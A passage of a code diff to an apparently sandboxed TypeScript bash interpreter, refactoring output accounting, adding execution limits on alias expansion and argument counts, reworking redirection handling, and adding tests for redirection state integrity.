         // This allows 'eval exit 42' and 'source exit.sh' to exit properly
         if (error instanceof ExitError) {
-          error.prependOutput(stdout, stderr);
+          error.prependOutput(output.stdout, output.stderr);
           throw error;
         }
         // PosixFatalError terminates the script in POSIX mode
         // POSIX 2.8.1: special builtins cause shell to exit on error
         if (error instanceof PosixFatalError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = error.exitCode;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
           return {
-            stdout,
-            stderr,
+            ...output.build(exitCode),
             exitCode,
             env: mapToRecord(this.ctx.state.env),
           };
         }
         // ExecutionLimitError must always propagate - these are safety limits
         if (error instanceof ExecutionLimitError) {
+          output.prependTo(error);
           throw error;
         }
         if (error instanceof ErrexitError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = error.exitCode;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
           return {
-            stdout,
-            stderr,
+            ...output.build(exitCode),
             exitCode,
             env: mapToRecord(this.ctx.state.env),
           };
         }
         if (error instanceof NounsetError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = 1;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
           return {
-            stdout,
-            stderr,
+            ...output.build(exitCode),
             exitCode,
             env: mapToRecord(this.ctx.state.env),
           };
         }
         if (error instanceof BadSubstitutionError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = 1;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
           return {
-            stdout,
-            stderr,
+            ...output.build(exitCode),
             exitCode,
             env: mapToRecord(this.ctx.state.env),
           };
@@ -324,7 +346,16 @@ export class Interpreter {
         // ArithmeticError in expansion (e.g., echo $((42x))) - the command fails
         // but the script continues execution. This matches bash behavior.
         if (error instanceof ArithmeticError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = 1;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
@@ -334,7 +365,16 @@ export class Interpreter {
         // BraceExpansionError for invalid ranges (e.g., {z..A} mixed case) - the command fails
         // but the script continues execution. This matches bash behavior.
         if (error instanceof BraceExpansionError) {
-          appendOutput(error.stdout, error.stderr);
+          output.append(
+            "stdout",
+            error.stdout,
+            error.internalOutputAccounting.stdout,
+          );
+          output.append(
+            "stderr",
+            error.stderr,
+            error.internalOutputAccounting.stderr,
+          );
           exitCode = 1;
           this.ctx.state.lastExitCode = exitCode;
           this.ctx.state.env.set("?", String(exitCode));
@@ -345,16 +385,17 @@ export class Interpreter {
         if (error instanceof BreakError || error instanceof ContinueError) {
           // If we're inside a loop, propagate the error up (for eval/source inside loops)
           if (this.ctx.state.loopDepth > 0) {
-            error.prependOutput(stdout, stderr);
+            error.prependOutput(output.stdout, output.stderr);
             throw error;
           }
           // Outside loops (level exceeded loop depth), silently continue with next statement
-          appendOutput(error.stdout, error.stderr);
+          output.append("stdout", error.stdout);
+          output.append("stderr", error.stderr);
           continue;
         }
         // Handle return - prepend accumulated output before propagating
         if (error instanceof ReturnError) {
-          error.prependOutput(stdout, stderr);
+          error.prependOutput(output.stdout, output.stderr);
           throw error;
         }
         throw error;
@@ -362,9 +403,7 @@ export class Interpreter {
     }
 
     return {
-      stdout,
-      stderr,
-      exitCode,
+      ...output.build(exitCode),
       env: mapToRecord(this.ctx.state.env),
     };
   }
@@ -390,14 +429,6 @@ export class Interpreter {
       throw new ExecutionAbortedError();
     }
 
-    this.ctx.state.commandCount++;
-    if (this.ctx.state.commandCount > this.ctx.limits.maxCommandCount) {
-      throwExecutionLimit(
-        `too many commands executed (>${this.ctx.limits.maxCommandCount}), increase executionLimits.maxCommandCount`,
-        "commands",
-      );
-    }
-
     // Check for deferred syntax error. This is triggered when execution reaches
     // a statement that has a syntax error (like standalone `}`), but the error
     // was deferred to support bash's incremental parsing behavior.
@@ -415,8 +446,10 @@ export class Interpreter {
     // It will be set by inner compound command executions if needed
     this.ctx.state.errexitSafe = false;
 
-    let stdout = "";
-    let stderr = "";
+    const statementOutput = new ExecutionOutputAccumulator(
+      this.ctx.executionScope,
+      "statement",
+    );
 
     // verbose mode (set -v): print unevaluated source before execution
     // Don't print verbose output inside command substitutions (suppressVerbose flag)
@@ -425,33 +458,37 @@ export class Interpreter {
       !this.ctx.state.suppressVerbose &&
       node.sourceText
     ) {
-      stderr += `${node.sourceText}\n`;
+      statementOutput.append("stderr", `${node.sourceText}\n`);
     }
     let exitCode = 0;
     let lastExecutedIndex = -1;
     let lastPipelineNegated = false;
 
-    for (let i = 0; i < node.pipelines.length; i++) {
-      const pipeline = node.pipelines[i];
-      const operator = i > 0 ? node.operators[i - 1] : null;
-
-      if (operator === "&&" && exitCode !== 0) continue;
-      if (operator === "||" && exitCode === 0) continue;
-
-      const result = await this.executePipeline(pipeline);
-      // Decode each pipeline's stdout to text via its explicit `stdoutKind`
-      // before concatenating, so a statement that joins text-shaped and
-      // byte-shaped pipelines with && / || does not interleave raw byte and
-      // Unicode chunks (which would defeat the output-boundary UTF-8 decode).
-      stdout += decodedTextFromResult(result);
-      stderr += result.stderr;
-      exitCode = result.exitCode;
-      lastExecutedIndex = i;
-      lastPipelineNegated = pipeline.negated;
-
-      // Update $? after each pipeline so it's available for subsequent commands
-      this.ctx.state.lastExitCode = exitCode;
-      this.ctx.state.env.set("?", String(exitCode));
+    try {
+      for (let i = 0; i < node.pipelines.length; i++) {
+        const pipeline = node.pipelines[i];
+        const operator = i > 0 ? node.operators[i - 1] : null;
+
+        if (operator === "&&" && exitCode !== 0) continue;
+        if (operator === "||" && exitCode === 0) continue;
+
+        const result = await this.executePipeline(pipeline);
+        // Decode each pipeline's stdout to text via its explicit `stdoutKind`
+        // before concatenating, so a statement that joins text-shaped and
+        // byte-shaped pipelines with && / || does not interleave raw byte and
+        // Unicode chunks (which would defeat the output-boundary UTF-8 decode).
+        statementOutput.appendResult(result, decodedTextFromResult(result));
+        exitCode = result.exitCode;
+        lastExecutedIndex = i;
+        lastPipelineNegated = pipeline.negated;
+
+        // Update $? after each pipeline so it's available for subsequent commands
+        this.ctx.state.lastExitCode = exitCode;
+        this.ctx.state.env.set("?", String(exitCode));
+      }
+    } catch (error) {
+      statementOutput.prependTo(error);
+      throw error;
     }
 
     // Track whether this exit code is "safe" for errexit purposes
@@ -477,10 +514,12 @@ export class Interpreter {
       !this.ctx.state.inCondition &&
       !innerWasSafe
     ) {
-      throw new ErrexitError(exitCode, stdout, stderr);
+      const error = new ErrexitError(exitCode);
+      error.prependOutput(statementOutput.stdout, statementOutput.stderr);
+      throw error;
     }
 
-    return result(stdout, stderr, exitCode);
+    return statementOutput.build(exitCode);
   }
 
   private async executePipeline(node: PipelineNode): Promise<ExecResult> {
@@ -558,14 +597,20 @@ export class Interpreter {
     // The aliasExpansionStack persists across iterations to prevent infinite loops.
     if (this.ctx.state.shoptOptions.expand_aliases && node.name) {
       let currentNode = node;
-      let maxExpansions = 100; // Safety limit
-      while (maxExpansions > 0) {
+      let expansionCount = 0;
+      while (true) {
         const expandedNode = this.expandAlias(currentNode);
         if (expandedNode === currentNode) {
           break; // No expansion occurred
         }
+        if (expansionCount >= this.ctx.limits.maxCallDepth) {
+          throw new ExecutionLimitError(
+            `alias expansion depth limit exceeded (${this.ctx.limits.maxCallDepth})`,
+            "recursion",
+          );
+        }
+        expansionCount++;
         currentNode = expandedNode;
-        maxExpansions--;
       }
       // Clear the alias expansion stack after all expansions are done
       this.aliasExpansionStack.clear();
@@ -594,16 +639,21 @@ export class Interpreter {
       // In bash, this creates/truncates the file and returns success
       if (node.redirections.length > 0) {
         // Process the redirects - this creates/truncates files as needed
-        const redirectError = await preOpenOutputRedirects(
+        const preparedRedirects = await preOpenOutputRedirects(
           this.ctx,
           node.redirections,
         );
-        if (redirectError) {
-          return redirectError;
+        if (preparedRedirects.error) {
+          return preparedRedirects.error;
         }
         // Apply redirections to empty result (for append, read redirects, etc.)
         const baseResult = result("", xtraceAssignmentOutput, 0);
-        return applyRedirections(this.ctx, baseResult, node.redirections);
+        return applyRedirections(
+          this.ctx,
+          baseResult,
+          node.redirections,
+          preparedRedirects.targets,
+        );
       }
 
       // Assignment-only command: preserve the exit code from command substitution
@@ -757,6 +807,16 @@ export class Interpreter {
 
     const args: string[] = [];
     const quotedArgs: boolean[] = [];
+    const appendArgument = (value: string, quoted: boolean): void => {
+      if (args.length >= this.ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `expanded argument element limit exceeded (${this.ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      args.push(value);
+      quotedArgs.push(quoted);
+    };
 
     // Handle local/declare/export/readonly arguments specially:
     // - For array assignments like `local a=(1 "2 3")`, preserve quote structure
@@ -790,8 +850,7 @@ export class Interpreter {
           arg,
         );
         if (arrayAssignResult) {
-          args.push(arrayAssignResult);
-          quotedArgs.push(true);
+          appendArgument(arrayAssignResult, true);
         } else {
           // Check if this looks like a scalar assignment (name=value)
           // For assignments, we should NOT glob-expand the value part
@@ -800,14 +859,12 @@ export class Interpreter {
             arg,
           );
           if (scalarAssignResult !== null) {
-            args.push(scalarAssignResult);
-            quotedArgs.push(true);
+            appendArgument(scalarAssignResult, true);
           } else {
             // Not an assignment - use normal glob expansion
             const expanded = await expandWordWithGlob(this.ctx, arg);
             for (const value of expanded.values) {
-              args.push(value);
-              quotedArgs.push(expanded.quoted);
+              appendArgument(value, expanded.quoted);
             }
           }
         }
@@ -817,8 +874,7 @@ export class Interpreter {
       for (const arg of node.args) {
         const expanded = await expandWordWithGlob(this.ctx, arg);
         for (const value of expanded.values) {
-          args.push(value);
-          quotedArgs.push(expanded.quoted);
+          appendArgument(value, expanded.quoted);
         }
       }
     }
@@ -1047,11 +1103,9 @@ export class Interpreter {
 
     // Append extra args injected via exec({ args }) and consume them
     if (this.ctx.state.extraArgs) {
-      args.push(...this.ctx.state.extraArgs);
-      for (let i = 0; i < this.ctx.state.extraArgs.length; i++) {
-        quotedArgs.push(true);
-      }
+      const extraArgs = this.ctx.state.extraArgs;
       this.ctx.state.extraArgs = undefined;
+      for (const extraArg of extraArgs) appendArgument(extraArg, true);
     }
 
     // Generate xtrace output before running the command
@@ -1224,7 +1278,11 @@ export class Interpreter {
   private aliasExpansionStack: Set<string> = new Set();
 
   private expandAlias(node: SimpleCommandNode): SimpleCommandNode {
-    return expandAliasHelper(this.ctx.state, node, this.aliasExpansionStack);
+    return expandAliasHelper(
+      { env: this.ctx.state.env, limits: this.ctx.limits },
+      node,
+      this.aliasExpansionStack,
+    );
   }
 
   async findCommandInPath(commandName: string): Promise<string[]> {
@@ -1257,12 +1315,12 @@ export class Interpreter {
     // Pre-open output redirects to truncate files BEFORE evaluating expression
     // This matches bash behavior where redirect files are opened before
     // any command substitutions in the arithmetic expression are evaluated
-    const preOpenError = await preOpenOutputRedirects(
+    const preparedRedirects = await preOpenOutputRedirects(
       this.ctx,
       node.redirections,
     );
-    if (preOpenError) {
-      return preOpenError;
+    if (preparedRedirects.error) {
+      return preparedRedirects.error;
     }
 
     try {
@@ -1280,13 +1338,23 @@ export class Interpreter {
         };
         this.ctx.state.expansionStderr = "";
       }
-      return applyRedirections(this.ctx, bodyResult, node.redirections);
+      return applyRedirections(
+        this.ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     } catch (error) {
       // Apply output redirections before returning
       const bodyResult = failure(
         `bash: arithmetic expression: ${(error as Error).message}\n`,
       );
-      return applyRedirections(this.ctx, bodyResult, node.redirections);
+      return applyRedirections(
+        this.ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
   }
 
@@ -1301,12 +1369,12 @@ export class Interpreter {
     // Pre-open output redirects to truncate files BEFORE evaluating expression
     // This matches bash behavior where redirect files are opened before
     // any command substitutions in the conditional expression are evaluated
-    const preOpenError = await preOpenOutputRedirects(
+    const preparedRedirects = await preOpenOutputRedirects(
       this.ctx,
       node.redirections,
     );
-    if (preOpenError) {
-      return preOpenError;
+    if (preparedRedirects.error) {
+      return preparedRedirects.error;
     }
 
     try {
@@ -1321,7 +1389,12 @@ export class Interpreter {
         };
         this.ctx.state.expansionStderr = "";
       }
-      return applyRedirections(this.ctx, bodyResult, node.redirections);
+      return applyRedirections(
+        this.ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     } catch (error) {
       // Apply output redirections before returning
       // ArithmeticError (e.g., division by zero) returns exit code 1
@@ -1331,7 +1404,12 @@ export class Interpreter {
         `bash: conditional expression: ${(error as Error).message}\n`,
         exitCode,
       );
-      return applyRedirections(this.ctx, bodyResult, node.redirections);
+      return applyRedirections(
+        this.ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
   }
 }
diff --git a/packages/just-bash/src/interpreter/pipeline-execution.ts b/packages/just-bash/src/interpreter/pipeline-execution.ts
index d9f477c8..7691c632 100644
--- a/packages/just-bash/src/interpreter/pipeline-execution.ts
+++ b/packages/just-bash/src/interpreter/pipeline-execution.ts
@@ -10,9 +10,11 @@ import {
   latin1FromBytes,
   stdoutAsBytes,
 } from "../encoding.js";
+import { relinquishPipelineOutput } from "../execution-scope.js";
 import { _performanceNow } from "../security/trusted-globals.js";
 import type { ExecResult } from "../types.js";
 import { BadSubstitutionError, ErrexitError, ExitError } from "./errors.js";
+import { clearArray, cloneArrays, setArrayElement } from "./helpers/array.js";
 import { OK } from "./helpers/result.js";
 import type { InterpreterContext } from "./types.js";
 
@@ -40,6 +42,7 @@ export async function executePipeline(
   let pipefailExitCode = 0; // Track rightmost failing command
   const pipestatusExitCodes: number[] = []; // Track all exit codes for PIPESTATUS
   let accumulatedStderr = ""; // Accumulate stderr from all pipeline commands
+  let accumulatedStderrBytes = 0;
 
   // For multi-command pipelines, save parent's $_ because pipeline commands
   // run in subshell-like contexts and should not affect parent's $_
@@ -76,9 +79,12 @@ export async function executePipeline(
     // Save environment for commands running in subshell context
     // This prevents variable assignments (e.g., ${cmd=echo}) from leaking to parent
     const savedEnv = runsInSubshell ? new Map(ctx.state.env) : null;
+    const savedArrays = runsInSubshell ? cloneArrays(ctx.state.arrays) : null;
 
     let result: ExecResult;
+    const outputCheckpoint = ctx.executionScope.outputBytesUsed;
     try {
+      ctx.state.commandCount = ctx.executionScope.chargeCommand();
       result = await executeCommand(command, stdin);
     } catch (error) {
       // BadSubstitutionError should fail the command but not abort the script
@@ -110,6 +116,7 @@ export async function executePipeline(
         // Restore environment before re-throwing
         if (savedEnv) {
           ctx.state.env = savedEnv;
+          ctx.state.arrays = savedArrays ?? new Map();
         }
         throw error;
       }
@@ -118,6 +125,42 @@ export async function executePipeline(
     // Restore environment for subshell commands to prevent variable assignment leakage
     if (savedEnv) {
       ctx.state.env = savedEnv;
+      ctx.state.arrays = savedArrays ?? new Map();
+    }
+
+    // Charge every stage before it can become a retained pipeline
+    // intermediate. Metadata prevents the final visible result from being
+    // charged twice.
+    result = ctx.executionScope.accountResult(
+      result,
+      "pipeline",
+      ctx.executionScope.outputBytesUsed - outputCheckpoint,
+    );
+
+    if (!isLast) {
+      // A non-final stdout is retained only until the next stage consumes it.
+      // Keep the prospective stage check above, then return its accounting
+      // credit so a pass-through pipeline is bounded by peak retained output
+      // instead of charging the same bytes once per stage.
+      const pipeStderrToNext = node.pipeStderr?.[i] ?? false;
+      const releasedStdout = result.internalOutputAccounting?.stdout ?? 0;
+      const releasedStderr = pipeStderrToNext
+        ? (result.internalOutputAccounting?.stderr ?? 0)
+        : 0;
+      relinquishPipelineOutput(
+        ctx.executionScope,
+        releasedStdout + releasedStderr,
+        "pipeline",
+      );
+      result = {
+        ...result,
+        internalOutputAccounting: {
+          stdout: 0,
+          stderr: pipeStderrToNext
+            ? 0
+            : (result.internalOutputAccounting?.stderr ?? 0),
+        },
+      };
     }
 
     // Track exit code for PIPESTATUS
@@ -147,6 +190,7 @@ export async function executePipeline(
         // Regular | only pipes stdout; stderr goes to the parent
         stdin = latin1FromBytes(stdoutAsBytes(result));
         accumulatedStderr += result.stderr;
+        accumulatedStderrBytes += result.internalOutputAccounting?.stderr ?? 0;
       }
       lastResult = {
         stdout: "",
@@ -165,6 +209,12 @@ export async function executePipeline(
     lastResult = {
       ...lastResult,
       stderr: accumulatedStderr + lastResult.stderr,
+      internalOutputAccounting: {
+        stdout: lastResult.internalOutputAccounting?.stdout ?? 0,
+        stderr:
+          accumulatedStderrBytes +
+          (lastResult.internalOutputAccounting?.stderr ?? 0),
+      },
     };
   }
 
@@ -177,18 +227,15 @@ export async function executePipeline(
     node.commands.length > 1 ||
     (node.commands.length === 1 && node.commands[0].type === "SimpleCommand");
 
+  const effectivePipestatus =
+    lastResult.internalPipeStatusOverride ?? pipestatusExitCodes;
   if (shouldSetPipestatus) {
     // Clear any previous PIPESTATUS entries
-    for (const key of ctx.state.env.keys()) {
-      if (key.startsWith("PIPESTATUS_")) {
-        ctx.state.env.delete(key);
-      }
-    }
+    clearArray(ctx, "PIPESTATUS");
     // Set new PIPESTATUS entries
-    for (let i = 0; i < pipestatusExitCodes.length; i++) {
-      ctx.state.env.set(`PIPESTATUS_${i}`, String(pipestatusExitCodes[i]));
+    for (let i = 0; i < effectivePipestatus.length; i++) {
+      setArrayElement(ctx, "PIPESTATUS", i, String(effectivePipestatus[i]));
     }
-    ctx.state.env.set("PIPESTATUS__length", String(pipestatusExitCodes.length));
   }
 
   // If pipefail is enabled, use the rightmost failing exit code
@@ -238,5 +285,8 @@ export async function executePipeline(
   }
   // With lastpipe, the last command already updated $_ in the main shell context
 
-  return lastResult;
+  lastResult = ctx.executionScope.accountResult(lastResult, "pipeline");
+  const { internalPipeStatusOverride: _internalOverride, ...publicResult } =
+    lastResult;
+  return publicResult;
 }
diff --git a/packages/just-bash/src/interpreter/redirections.state-integrity.test.ts b/packages/just-bash/src/interpreter/redirections.state-integrity.test.ts
new file mode 100644
index 00000000..edac0dc5
--- /dev/null
+++ b/packages/just-bash/src/interpreter/redirections.state-integrity.test.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("redirection state integrity", () => {
+  it("applies noclobber to descriptor-variable output redirects", async () => {
+    const env = new Bash({ files: { "/existing": "preserve\n" } });
+    const result = await env.exec("set -C; exec {fd}>/existing");
+    expect(result.exitCode).not.toBe(0);
+    expect(result.stderr).toContain("cannot overwrite");
+    expect(await env.readFile("/existing")).toBe("preserve\n");
+  });
+
+  it("allows the explicit clobber operator for descriptor variables", async () => {
+    const env = new Bash({ files: { "/existing": "old\n" } });
+    const result = await env.exec(
+      "set -C; exec {fd}>|/existing; echo replacement >&$fd",
+    );
+    expect(result.exitCode).toBe(0);
+    expect(await env.readFile("/existing")).toBe("replacement\n");
+  });
+
+  it("rejects a readonly descriptor variable before opening its target", async () => {
+    const env = new Bash({ files: { "/existing": "preserve\n" } });
+    const result = await env.exec("fd=9; readonly fd; exec {fd}>|/existing");
+    expect(result.exitCode).not.toBe(0);
+    expect(result.stderr).toContain("readonly variable");
+    expect(await env.readFile("/existing")).toBe("preserve\n");
+  });
+
+  it("expands a compound-command redirect target exactly once", async () => {
+    const env = new Bash();
+    const result = await env.exec(
+      'i=0; for x in one; do echo body; done > "/out$((i++))"; printf "%s" "$i"',
+    );
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe("1");
+    expect(await env.readFile("/out0")).toBe("body\n");
+    await expect(env.readFile("/out1")).rejects.toThrow();
+  });
+
+  it("validates every compound redirect before truncating any target", async () => {
+    const env = new Bash({ files: { "/first": "preserve\n" } });
+    await env.exec("mkdir /directory");
+    const result = await env.exec(
+      "for x in one; do echo body; done > /first > /directory",
+    );
+    expect(result.exitCode).not.toBe(0);
+    expect(result.stderr).toContain("Is a directory");
+    expect(await env.readFile("/first")).toBe("preserve\n");
+  });
+});
diff --git a/packages/just-bash/src/interpreter/redirections.ts b/packages/just-bash/src/interpreter/redirections.ts
index a341f62e..078a8256 100644
--- a/packages/just-bash/src/interpreter/redirections.ts
+++ b/packages/just-bash/src/interpreter/redirections.ts
@@ -11,15 +11,19 @@
  */
 
 import type { RedirectionNode, WordNode } from "../ast/types.js";
+import { utf8ByteLength } from "../encoding.js";
 import type { ExecResult } from "../types.js";
 import {
   expandRedirectTarget,
   expandWord,
   hasQuotedMultiValueAt,
 } from "./expansion.js";
+import { checkReadonlyError } from "./helpers/readonly.js";
 import { checkFdLimit, result as makeResult } from "./helpers/result.js";
 import type { InterpreterContext } from "./types.js";
 
+class RedirectTargetDoesNotExist extends Error {}
+
 /**
  * Check if a redirect target is valid for output (not a directory, respects noclobber).
  * Returns an error message string if invalid, null if valid.
@@ -31,6 +35,7 @@ async function checkOutputRedirectTarget(
   options: { checkNoclobber?: boolean; isClobber?: boolean },
 ): Promise<string | null> {
   try {
+    if (!(await ctx.fs.exists(filePath))) return null;
     const stat = await ctx.fs.stat(filePath);
     if (stat.isDirectory) {
       return `bash: ${target}: Is a directory\n`;
@@ -44,7 +49,7 @@ async function checkOutputRedirectTarget(
       return `bash: ${target}: cannot overwrite existing file\n`;
     }
   } catch {
-    // File doesn't exist, that's ok - we'll create it
+    return `bash: ${target}: cannot open redirect target\n`;
   }
   return null;
 }
@@ -178,105 +183,94 @@ function allocateFd(ctx: InterpreterContext): number {
 export async function processFdVariableRedirections(
   ctx: InterpreterContext,
   redirections: RedirectionNode[],
+  preExpandedTargets?: ExpandedRedirectTargets,
 ): Promise<ExecResult | null> {
-  for (const redir of redirections) {
-    if (!redir.fdVariable) {
-      continue;
+  for (let index = 0; index < redirections.length; index++) {
+    const redir = redirections[index];
+    if (!redir.fdVariable || redir.target.type !== "Word") continue;
+    checkReadonlyError(ctx, redir.fdVariable);
+
+    const isFdRedirect = redir.operator === ">&" || redir.operator === "<&";
+    let target = preExpandedTargets?.get(index);
+    if (target !== undefined) {
+      // Prepared by the compound-command open step; never expand it again.
+    } else if (isFdRedirect) {
+      if (hasQuotedMultiValueAt(ctx, redir.target as WordNode))
+        return makeResult("", "bash: $@: ambiguous redirect\n", 1);
+      target = await expandWord(ctx, redir.target as WordNode);
+    } else {
+      const expanded = await expandRedirectTarget(
+        ctx,
+        redir.target as WordNode,
+      );
+      if ("error" in expanded) return makeResult("", expanded.error, 1);
+      target = expanded.target;
     }
 
-    // Initialize fileDescriptors map if needed
-    if (!ctx.state.fileDescriptors) {
-      ctx.state.fileDescriptors = new Map();
+    if (target.includes("\0"))
+      return makeResult(
+        "",
+        `bash: ${target.replace(/\0/g, "")}: No such file or directory\n`,
+        1,
+      );
+
+    ctx.state.fileDescriptors ??= new Map();
+    if (isFdRedirect && target === "-") {
+      const existingFd = ctx.state.env.get(redir.fdVariable);
+      if (existingFd !== undefined) {
+        const fdNum = Number.parseInt(existingFd, 10);
+        if (!Number.isNaN(fdNum)) ctx.state.fileDescriptors.delete(fdNum);
+      }
+      continue;
     }
 
-    // Handle close operation: {fd}>&- or {fd}<&-
-    // For close operations, we look up the existing variable value (the FD number)
-    // and close that FD, rather than allocating a new one.
-    if (
-      (redir.operator === ">&" || redir.operator === "<&") &&
-      redir.target.type === "Word"
+    let fdInfo: string | undefined;
+    if (isFdRedirect) {
+      const sourceFd = Number.parseInt(target, 10);
+      if (!Number.isNaN(sourceFd))
+        fdInfo = ctx.state.fileDescriptors.get(sourceFd);
+    } else if (
+      redir.operator === ">" ||
+      redir.operator === ">>" ||
+      redir.operator === ">|" ||
+      redir.operator === "&>" ||
+      redir.operator === "&>>"
     ) {
-      const target = await expandWord(ctx, redir.target as WordNode);
-      if (target === "-") {
-        // Close operation - look up the FD from the variable and close it
-        const existingFd = ctx.state.env.get(redir.fdVariable);
-        if (existingFd !== undefined) {
-          const fdNum = Number.parseInt(existingFd, 10);
-          if (!Number.isNaN(fdNum)) {
-            ctx.state.fileDescriptors.delete(fdNum);
-          }
-        }
-        // Don't allocate a new FD for close operations
-        continue;
+      const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
+      const append = redir.operator === ">>" || redir.operator === "&>>";
+      const redirectOptions = append
+        ? { checkNoclobber: false }
+        : { checkNoclobber: true, isClobber: redir.operator === ">|" };
+      const error = await checkOutputRedirectTarget(
+        ctx,
+        filePath,
+        target,
+        redirectOptions,
+      );
+      if (error) return makeResult("", error, 1);
+      checkFdLimit(ctx);
+      if (append) await ctx.fs.appendFile(filePath, "", "binary");
+      else await ctx.fs.writeFile(filePath, "", "binary");
+      fdInfo = `__file__:${filePath}`;
+    } else if (redir.operator === "<<<") {
+      fdInfo = `${target}\n`;
+    } else if (redir.operator === "<" || redir.operator === "<>") {
+      try {
+        const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
+        fdInfo = await ctx.fs.readFile(filePath);
+      } catch {
+        return makeResult(
+          "",
+          `bash: ${target}: No such file or directory\n`,
+          1,
+        );
       }
     }
 
-    // Allocate a new FD (for non-close operations)
+    checkFdLimit(ctx);
     const fd = allocateFd(ctx);
-
-    // Set the variable to the allocated FD number
     ctx.state.env.set(redir.fdVariable, String(fd));
-
-    // For file redirections, store the file path mapping
-    if (redir.target.type === "Word") {
-      const target = await expandWord(ctx, redir.target as WordNode);
-
-      // Handle FD duplication: {fd}>&N or {fd}<&N
-      if (redir.operator === ">&" || redir.operator === "<&") {
-        const sourceFd = Number.parseInt(target, 10);
-        if (!Number.isNaN(sourceFd)) {
-          // Duplicate the source FD's content to the new FD
-          const content = ctx.state.fileDescriptors.get(sourceFd);
-          if (content !== undefined) {
-            checkFdLimit(ctx);
-            ctx.state.fileDescriptors.set(fd, content);
-          }
-          continue;
-        }
-      }
-
-      // For output redirections to files, we'll handle actual writing in applyRedirections
-      // Store the target file path associated with this FD
-      if (
-        redir.operator === ">" ||
-        redir.operator === ">>" ||
-        redir.operator === ">|" ||
-        redir.operator === "&>" ||
-        redir.operator === "&>>"
-      ) {
-        // Mark this FD as pointing to a file (store file path for later use)
-        // Use a special format to distinguish from content
-        const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
-        // For truncating operators (>, >|, &>), create/truncate the file now
-        if (
-          redir.operator === ">" ||
-          redir.operator === ">|" ||
-          redir.operator === "&>"
-        ) {
-          await ctx.fs.writeFile(filePath, "", "binary");
-        }
-        checkFdLimit(ctx);
-        ctx.state.fileDescriptors.set(fd, `__file__:${filePath}`);
-      } else if (redir.operator === "<<<") {
-        // For here-strings, store the target value plus newline as the FD content
-        checkFdLimit(ctx);
-        ctx.state.fileDescriptors.set(fd, `${target}\n`);
-      } else if (redir.operator === "<" || redir.operator === "<>") {
-        // For input redirections, read the file content
-        try {
-          const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
-          const content = await ctx.fs.readFile(filePath);
-          checkFdLimit(ctx);
-          ctx.state.fileDescriptors.set(fd, content);
-        } catch {
-          return makeResult(
-            "",
-            `bash: ${target}: No such file or directory\n`,
-            1,
-          );
-        }
-      }
-    }
+    if (fdInfo !== undefined) ctx.state.fileDescriptors.set(fd, fdInfo);
   }
 
   return null; // Success
@@ -298,8 +292,23 @@ export async function processFdVariableRedirections(
 export async function preOpenOutputRedirects(
   ctx: InterpreterContext,
   redirections: RedirectionNode[],
-): Promise<ExecResult | null> {
-  for (const redir of redirections) {
+): Promise<{
+  targets: ExpandedRedirectTargets;
+  error: ExecResult | null;
+}> {
+  for (const redirection of redirections) {
+    if (redirection.fdVariable) checkReadonlyError(ctx, redirection.fdVariable);
+  }
+  const expanded = await preExpandRedirectTargets(ctx, redirections);
+  if (expanded.error)
+    return {
+      targets: expanded.targets,
+      error: makeResult("", expanded.error, 1),
+    };
+
+  const targetsToOpen: Array<{ filePath: string; target: string }> = [];
+  for (let index = 0; index < redirections.length; index++) {
+    const redir = redirections[index];
     if (redir.target.type === "HereDoc") {
       continue;
     }
@@ -319,9 +328,9 @@ export async function preOpenOutputRedirects(
 
     // Expand redirect target with glob handling (failglob, ambiguous redirect)
     // For >&, use plain expansion first to check if it's a number
-    let target: string;
+    const target = expanded.targets.get(index);
+    if (target === undefined) continue;
     if (isGreaterAmpersand) {
-      target = await expandWord(ctx, redir.target as WordNode);
       // If it's a number, -, or has explicit fd, it's an FD redirect, not a file redirect
       if (
         target === "-" ||
@@ -330,17 +339,6 @@ export async function preOpenOutputRedirects(
       ) {
         continue;
       }
-      // It's a file redirect - re-expand with redirect target handling
-      // (though we already have the expanded value, use it directly)
-    } else {
-      const expandResult = await expandRedirectTarget(
-        ctx,
-        redir.target as WordNode,
-      );
-      if ("error" in expandResult) {
-        return makeResult("", expandResult.error, 1);
-      }
-      target = expandResult.target;
     }
     const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
     const isClobber = redir.operator === ">|";
